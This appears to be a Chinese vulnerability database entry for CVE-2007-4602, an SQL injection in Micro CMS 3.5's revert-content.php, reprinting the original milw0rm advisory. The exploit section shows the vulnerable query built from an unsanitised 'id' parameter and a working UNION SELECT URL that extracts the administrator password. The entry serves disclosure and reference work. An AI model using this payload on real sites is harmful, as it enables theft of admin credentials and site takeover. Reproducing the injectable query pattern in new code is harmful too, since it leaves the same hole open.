Implied Implied By Design Micro CMS SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113535 漏洞类型 SQL注入
发布时间 2007-08-28 更新时间 2007-08-30
CVE编号 CVE-2007-4602 CNNVD-ID CNNVD-200708-485
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/4329
https://www.securityfocus.com/bid/81614
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200708-485
|漏洞详情
ImpliedbyDesignMicroCMS(Micro-CMS)3.5版本的cms/revert-content.php中存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意SQL指令。
|漏洞EXP
#########################################################################################
#
#                        not sec group
#        http://www.notsec.com     info@notsec.com
#
# [Micro CMS 3.5]
#
# Class:     SQL Injection
# Found:     28/08/2007
# Remote:    Yes
# Site:
http://www.impliedbydesign.com/ibd-micro-cms-static-content-manager.html
# Download:  http://www.impliedbydesign.com/apps/microcms/microcms.zip
# Demo site:
http://www.impliedbydesign.com/micro-cms-content-management-demo.php
#
#########################################################################################


       Vulnerable code:
       cms/revert-content.php
============================================================================================================
$sql = '        SELECT *
           FROM microcms_content_blurb_history
           WHERE content_blurbs_variable = "' . $_GET['id'] . '"
           ORDER BY content_blurb_history_version_num DESC
           LIMIT 1';
$result = mysql_query($sql);
============================================================================================================


       Exploit :
============================================================================================================================================================================================
http://site.com/[micro_cms]/cms/revert-content.php?type=newest&id=1%22%20UNION%20ALL%20SELECT%20null,null,SUBSTRING(administrators_pass,1,16),null,null%20FROM%20microcms_administrators/*
============================================================================================================================================================================================


       Thanks To:
=========================
All notsec.com members;
White_Sheep for Bugs Hunter;
=========================
# notsec.com

# milw0rm.com [2007-08-28]
|受影响的产品
Implied By Design Micro CMS 3.5
|参考资料

来源:MILW0RM
名称:4329
链接:http://www.milw0rm.com/exploits/4329
来源:SECUNIA
名称:26638
链接:http://secunia.com/advisories/26638
来源:OSVDB
名称:36684
链接:http://osvdb.org/36684
来源:XF
名称:microcms-revertcontent-sql-injection(36291)
链接:http://xforce.iss.net/xforce/xfdb/36291